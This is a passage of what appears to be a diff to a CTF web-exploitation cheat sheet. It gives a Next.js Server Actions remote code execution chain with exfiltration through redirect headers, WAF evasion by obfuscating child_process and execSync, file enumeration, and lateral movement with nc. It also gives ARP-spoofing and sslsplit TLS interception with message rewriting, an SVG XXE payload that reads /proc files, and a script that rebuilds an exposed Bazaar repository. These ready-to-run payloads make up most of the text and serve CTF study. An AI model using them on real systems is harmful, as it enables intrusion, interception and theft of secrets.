+ THE FAKE FLIGHT CHUNK HERE
298
+ ------x
299
+ Content-Disposition: form-data; name="1"
300
+
301
+ "$@0"
302
+ ------x--
303
+ ```
304
+
305
+ ### Step 3 — Exfiltrate data via NEXT_REDIRECT
306
+
307
+ Next.js uses `NEXT_REDIRECT` errors internally for navigation. Abuse this to exfiltrate data through the `x-action-redirect` response header:
308
+
309
+ ```javascript
310
+ throw Object.assign(new Error('NEXT_REDIRECT'), {
311
+ digest: `NEXT_REDIRECT;push;/login?a=${encodeURIComponent(RESULT)};307;`
312
+ });
313
+ ```
314
+
315
+ The server responds with:
316
+ ```http
317
+ HTTP/1.1 303 See Other
318
+ x-action-redirect: /login?a=<exfiltrated_data>;push
319
+ ```
320
+
321
+ Example — confirm RCE with `process.pid`:
322
+ ```javascript
323
+ throw Object.assign(new Error('NEXT_REDIRECT'), {
324
+ digest: `NEXT_REDIRECT;push;/login?a=${process.pid};307;`
325
+ });
326
+ // Response: x-action-redirect: /login?a=1;push
327
+ ```
328
+
329
+ ### Step 4 — Bypass WAF keyword filters
330
+
331
+ When keywords like `child_process`, `execSync`, `mainModule` are blocked (403 response with "WAF Alert"):
332
+
333
+ 1. **String concatenation:**
334
+ ```javascript
335
+ p['main'+'Module']['requ'+'ire']('chi'+'ld_pro'+'cess')
336
+ ```
337
+
338
+ 2. **Hex encoding:**
339
+ ```javascript
340
+ '\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73' // child_process
341
+ '\x65\x78\x65\x63\x53\x79\x6e\x63' // execSync
342
+ ```
343
+
344
+ 3. **Combined in payload:**
345
+ ```javascript
346
+ var p=process;
347
+ var m=p['main'+'Module'];
348
+ var r=m['requ'+'ire'];
349
+ var c=r('\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73');
350
+ var o=c['\x65\x78\x65\x63\x53\x79\x6e\x63']('id').toString();
351
+ throw Object.assign(new Error('NEXT_REDIRECT'),
352
+ {digest:`NEXT_REDIRECT;push;/login?a=${encodeURIComponent(o)};307;`});
353
+ ```
354
+
355
+ ### Step 5 — Post-RCE enumeration
356
+
357
+ ```javascript
358
+ // Working directory
359
+ process.cwd() // → /app
360
+
361
+ // Process arguments
362
+ process.argv // → /usr/local/bin/node,/app/server.js
363
+
364
+ // List files
365
+ process.mainModule.require('fs').readdirSync(process.cwd()).join(',')
366
+
367
+ // Read files
368
+ process.mainModule.require('fs').readFileSync('vault.hint').toString('hex')
369
+
370
+ // Check available modules
371
+ Object.keys(process.mainModule.require('http'))
372
+ ```
373
+
374
+ ### Step 6 — Lateral movement to internal services
375
+
376
+ After discovering internal services (e.g., from hint files):
377
+ ```javascript
378
+ // Use nc to reach internal HTTP services
379
+ var p=process;var m=p['main'+'Module'];var r=m['requ'+'ire'];
380
+ var c=r('\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73');
381
+ var o=c['\x65\x78\x65\x63\x53\x79\x6e\x63'](
382
+ 'printf "GET /flag.txt HTTP/1.1\\r\\nHost: internal-vault\\r\\n\\r\\n" | nc internal-vault 9009'
383
+ ).toString();
384
+ throw Object.assign(new Error('NEXT_REDIRECT'),
385
+ {digest:`NEXT_REDIRECT;push;/login?a=${encodeURIComponent(o)};307;`});
386
+ ```
387
+
388
+ **Key insight:** The NEXT_REDIRECT mechanism provides a reliable out-of-band data exfiltration channel through the `x-action-redirect` response header. Combined with WAF bypass via string concatenation and hex encoding, this enables full RCE even in filtered environments.
389
+
390
+ **Full exploit chain:** Identify RSC headers → craft fake Flight chunk → bypass WAF → achieve RCE → enumerate filesystem → discover internal services → lateral movement via `nc` to retrieve flag.
391
+
392
+ **Detection:** `Accept: text/x-component` + `Next-Action` header in requests, `createServerReference()` in client JS, Next.js Server Actions with user-controlled form data.
393
+
394
+ ---
395
+
396
+ ## AMQP/TLS Interception via sslsplit + arpspoof (TAMUctf 2019)
397
+
398
+ **Pattern:** A web shim posts a JSON job `{"user": "alice", "code": "..."}` to an internal RabbitMQ broker on `5671/tcp` (AMQPS). Clients almost never pin certificates, so ARP-spoofing both hosts onto the attacker and terminating TLS with sslsplit yields plaintext AMQP frames you can log and rewrite (swap `"alice"` for `"root"` mid-stream to escalate privileges).
399
+
400
+ ```bash
401
+ # 1. Sit between the web server and the broker (both ways)
402
+ arpspoof -i eth0 -t 172.30.0.2 172.30.0.4 &
403
+ arpspoof -i eth0 -t 172.30.0.4 172.30.0.2 &
404
+
405
+ # 2. Redirect the AMQP port into sslsplit
406
+ sudo iptables -t nat -A PREROUTING -p tcp --destination-port 5671 -j REDIRECT --to-ports 1234
407
+ openssl genrsa -out ca.key 4096
408
+ openssl req -new -x509 -days 1826 -key ca.key -out ca.crt
409
+ mkdir /tmp/sslsplit logdir
410
+ sudo sslsplit -D -l connections.log -j /tmp/sslsplit -S logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 1234
411
+ cat logdir/* # shows plaintext AMQP frames with the JSON body
412
+
413
+ # 3. For on-the-fly rewriting, patch mitmproxy's raw TCP layer:
414
+ # mitmproxy/proxy/protocol/rawtcp.py, RawTCPLayer._handle_server_message():
415
+ # x = buf[:size].tobytes().replace(b'"user": "alice",', b'"user": "root", ')
416
+ # tcp_message = tcp.TCPMessage(dst == server, x)
417
+ mitmproxy --mode transparent --listen-port 1234 --ssl-insecure \
418
+ --tcp-hosts 172.30.0.2 --tcp-hosts 172.30.0.4
419
+ ```
420
+
421
+ **Key insight:** Clients without certificate pinning accept any CA-signed cert; sslsplit terminates TLS and forwards plaintext to its log, so any TLS-wrapped protocol (AMQP, IRC, MQTT, LDAPS, custom binary) becomes observable and — with a trivial mitmproxy patch — modifiable. Burp and mitmproxy focus on HTTPS; for arbitrary protocols, reach for sslsplit/sslsniff plus a pinhole in the TCP layer.
422
+
423
+ **References:** TAMUctf 2019 — Homework Help, writeup 13477
424
+
425
+ ---
426
+
427
+ ## CairoSVG XXE via Oversized width= (BSidesSF 2019)
428
+
429
+ **Pattern:** A web service renders user-supplied SVG to PNG with CairoSVG. CairoSVG (and librsvg/ImageMagick/rsvg-convert) resolves XML `DOCTYPE` entities before rasterising, so an XXE entity referenced inside `<text>` is drawn into the PNG. The gotcha: the rendered pixels have to fit the string — for a large file such as `/proc/self/status`, bump `width` up to ~20000 (max ~34000 before the server times out during rasterisation) so the text does not get clipped.
430
+
431
+ ```xml
432
+ <?xml version="1.0" standalone="no"?>
433
+ <!DOCTYPE svg [<!ENTITY xx SYSTEM "file:///proc/self/status">]>
434
+ <svg height="300" width="20000" xmlns="http://www.w3.org/2000/svg">
435
+ <text x="0" y="15" fill="red">test &xx;; test</text>
436
+ </svg>
437
+ ```
438
+
439
+ Upload, download the PNG, and read the flag off the image (eyeball or OCR). When hunting the flag path, dump `/proc/self/status` first to find the PID, then probe `/proc/<pid>/cwd/flag.txt`, `/proc/<pid>/cmdline`, and `/proc/<pid>/environ`. If the first pass clips (e.g. width=3000), re-render wider — BSidesSF 2019 SVGMagic landed the flag only at `width="3000"` because the target path was short.
440
+
441
+ **Key insight:** SVG renderers that honour DOCTYPE + ENTITY expansion are XXE-vulnerable just like any XML parser; enlarge `width` to fit large file contents into the rendered image, and remember the output channel is *pixels*, not text — `grep` the PNG for the flag after OCR (e.g. `tesseract img.png -`) or open it manually.
442
+
443
+ **References:** BSidesSF 2019 CTF — SVGMagic (PNGSVG), writeup 13711. See also the svglib variant in [server-side-2.md](server-side-2.md).
444
+
445
+ ---
446
+
447
+ ## Bazaar (.bzr) Repository Reconstruction via bzr check Loop (STEM CTF 2019)
448
+
449
+ **Pattern:** Web server exposes `/.bzr/` (HTTP 403 on the index, 200 on files). Bazaar stores history as a handful of index + pack files; `bzr check` tolerates partial repos and, on missing data, names the expected path in its error message. A loop that reads each error and `wget`s the corresponding file rebuilds the repository, after which `bzr revert` and `bzr diff` expose every committed revision — including secrets that were later removed.
450
+
451
+ ```bash
452
+ # 1. Seed a local repo so bzr has a skeleton to work with
453
+ mkdir ctf && cd ctf && bzr init
454
+ echo foo > foo.txt && bzr add && bzr commit -m init && rm foo.txt
455
+
456
+ # 2. Replace the pointer files with copies from the victim
457
+ cd .bzr/branch && rm last-revision && wget http://target/.bzr/branch/last-revision
458
+ cd ../checkout && rm dirstate && wget http://target/.bzr/checkout/dirstate
459
+ cd ../repository && rm pack-names && wget http://target/.bzr/repository/pack-names
460
+ cd ../../
461
+
462
+ # 3. Loop until bzr check stops complaining about missing indices/packs
463
+ while true; do
464
+ OUT=$(bzr check 2>&1)
465
+ [[ "$OUT" != *"No such file:"* ]] && break
466
+ F=$(echo "$OUT" | sed 's/.*\([0-9a-f]\{32\}\).*/\1/')
467
+ for EXT in cix iix rix six tix; do
468
+ wget -P .bzr/repository/indices/ "http://target/.bzr/repository/indices/$F.$EXT"
469
+ done
470
+ wget -P .bzr/repository/packs/ "http://target/.bzr/repository/packs/$F.pack"
471
+ done
472
+ bzr revert
473
+
474
+ # 4. Mine every revision for interesting diffs
475
+ for R in $(bzr log --line | awk '{print $1}'); do bzr diff -r$((R-1))..$R; done
476
+ ```
477
+
478
+ **Key insight:** Exposed `.bzr/` (or `.git/`, `.hg/`, `.svn/`) directories leak full commit history; bzr is particularly friendly because it tolerates partial repos and reports the missing path verbatim, so a wget-in-a-loop solver finishes the job. Always diff revisions, not just `HEAD` — flags, wallet keys, and decryption keys are often *removed* in a later commit but still recoverable. Once the tree is reconstructed you can chain with challenges like STEM CTF "Medium is overrated", where revision N stores a base64 ciphertext and revision M stores the AES-ECB key.
479
+
480
+ **References:** STEM CTF Cyber Challenge 2019 — My First Blog & Medium is overrated, writeups 13380 and 13379